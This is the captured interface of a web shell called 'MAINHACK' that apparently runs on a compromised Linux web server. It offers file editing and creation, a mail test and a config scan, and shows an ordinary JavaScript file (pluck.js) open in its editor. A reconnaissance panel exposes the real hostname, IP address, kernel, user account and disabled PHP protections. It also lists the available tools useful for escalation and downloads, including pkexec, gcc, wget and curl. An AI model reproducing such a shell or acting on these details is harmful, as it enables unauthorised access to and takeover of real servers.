[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: pluck.js
'use strict'; var _require = require('../helpers/is'), isArray = _require.isArray, isObject = _require.isObject; var nestedValue = require('../helpers/nestedValue'); var buildKeyPathMap = function buildKeyPathMap(items) { var keyPaths = {}; items.forEach(function (item, index) { function buildKeyPath(val, keyPath) { if (isObject(val)) { Object.keys(val).forEach(function (prop) { buildKeyPath(val[prop], keyPath + '.' + prop); }); } else if (isArray(val)) { val.forEach(function (v, i) { buildKeyPath(v, keyPath + '.' + i); }); } keyPaths[keyPath] = val; } buildKeyPath(item, index); }); return keyPaths; }; module.exports = function pluck(value, key) { if (value.indexOf('*') !== -1) { var keyPathMap = buildKeyPathMap(this.items); var keyMatches = []; if (key !== undefined) { var keyRegex = new RegExp('0.' + key, 'g'); var keyNumberOfLevels = ('0.' + key).split('.').length; Object.keys(keyPathMap).forEach(function (k) { var matchingKey = k.match(keyRegex); if (matchingKey) { var match = matchingKey[0]; if (match.split('.').length === keyNumberOfLevels) { keyMatches.push(keyPathMap[match]); } } }); } var valueMatches = []; var valueRegex = new RegExp('0.' + value, 'g'); var valueNumberOfLevels = ('0.' + value).split('.').length; Object.keys(keyPathMap).forEach(function (k) { var matchingValue = k.match(valueRegex); if (matchingValue) { var match = matchingValue[0]; if (match.split('.').length === valueNumberOfLevels) { valueMatches.push(keyPathMap[match]); } } }); if (key !== undefined) { var collection = {}; this.items.forEach(function (item, index) { collection[keyMatches[index] || ''] = valueMatches; }); return new this.constructor(collection); } return new this.constructor([valueMatches]); } if (key !== undefined) { var _collection = {}; this.items.forEach(function (item) { if (nestedValue(item, value) !== undefined) { _collection[item[key] || ''] = nestedValue(item, value); } else { _collection[item[key] || ''] = null; } }); return new this.constructor(_collection); } return this.map(function (item) { if (nestedValue(item, value) !== undefined) { return nestedValue(item, value); } return null; }); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002